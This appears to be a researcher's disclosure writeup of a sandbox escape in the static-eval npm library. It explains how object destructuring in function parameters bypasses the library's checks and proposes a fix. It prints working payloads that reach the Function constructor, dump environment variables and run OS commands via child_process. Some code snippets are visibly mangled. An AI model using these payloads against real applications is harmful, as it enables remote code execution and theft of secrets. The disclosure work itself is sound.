static-eval sandbox escape original writeup

This is the original writeup I sent to the static-eval mantainer and to the NodeJS security team before they published an official advisory:

Hi! I found a vulnerability in the static-eval npm library to escape the
sandbox offered by it.

The static-eval module is intended to statically evaluate a code block. In
theory (and assumed by many modules who depend on it) should have no side
effects, should not have have access to the standard library, and effectively
be sandboxed. However if un-sanitized user input is passed to evaluate we can
break out of this “sandbox”.

To find the sandbox escape I was inspired by the previous work done by Matt
Austin[1]. Unlike Matt's technique, mine requires that a variable is defined
and that its value is anything other than a function.

This is the final expression I used to escape the sandbox (I use x as the
variable that is not a function):

    (function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()

To verify that the vulnerability exists, you can run `npm install static-eval` and
write the following to an eval.js file:

    var evaluate = require('static-eval');
    var parse = require('esprima').parse;

    var src = process.argv[2];
    var ast = parse(src).body[0].expression;

    console.log(evaluate(ast, {x:1}));

(this a modified version of the example on the readme[2]. The only change I did
was to define the x variable so my exploit works)

Then, run the following:

    node eval.js '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'

To log the environment variables of the system, confirming the presence of the
vulnerability. You can also execute more dangerous payloads, such as this one
that will execute the `id` command on the system and print its output:

    node eval.js '(function({x}){return x.constructor})({x:"".sub})("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()'

It can also be replaced by any other OS command.

Exploit explaination

Blocking access to function attributes in version 2.0 was surprisingly a good
way of preventing the majority of the JS sandbox bypass techniques so I had to
be more creative to achieve it. Matt already pointed out[3] that the dynamic
Function call should be refactored so I targeted that.

I noted that when you define an inline function, its body is analyzed to check
you don't access attributes of functions. This check is done when the function
is defined and not when it is called. This sounded strange to me so I started
looking at it.

To decide the type of the variables at definition time, it uses the initial
variables passed to the evaluate function. Then, to ensure its value is not
overwritten in function parameters, it sets the value of variables named as a
function parameter to null:

    node.params.forEach(function(key) {
        if(key.type == 'Identifier'){
          vars[] = null;

Unfortunately, this doesn't work as expected if I use object destructuring[4]
in the function parameters. In this case, the value of `key.type` will be
`ObjectPattern` so the variable won't be set to null. Then, the system will
confuse between the initial value of the variable and the actual one that
depends on the function call. For example, if I eval this when x has an initial
value of 1:

    (function({x}){return x.constructor})({x:"".sub})

when the function is defined, the system will think that I'm accessing the
constructor of 1 (the initial value of x). This is allowed so the function will
be created. But actually, when the function is executed the value of x will
depend on the function parameters. In this case it will be "".sub that is a
function, so the whole expression will return the function constructor, that
I'm not supposed to access.

Recommended fix

The easiest thing to do to fix this exploitation technique would be to forbid
function definitions that use parameter destructuring:

    node.params.forEach(function(key) {
        if(key.type == 'Identifier'){
          vars[] = null;
        else return FAIL;

However, I believe there might be other similar techniques to escape the
sandbox again, so the long-term fix would be, as Matt said before, to refactor
out the dynamic Function call completely.




Comments powered by Disqus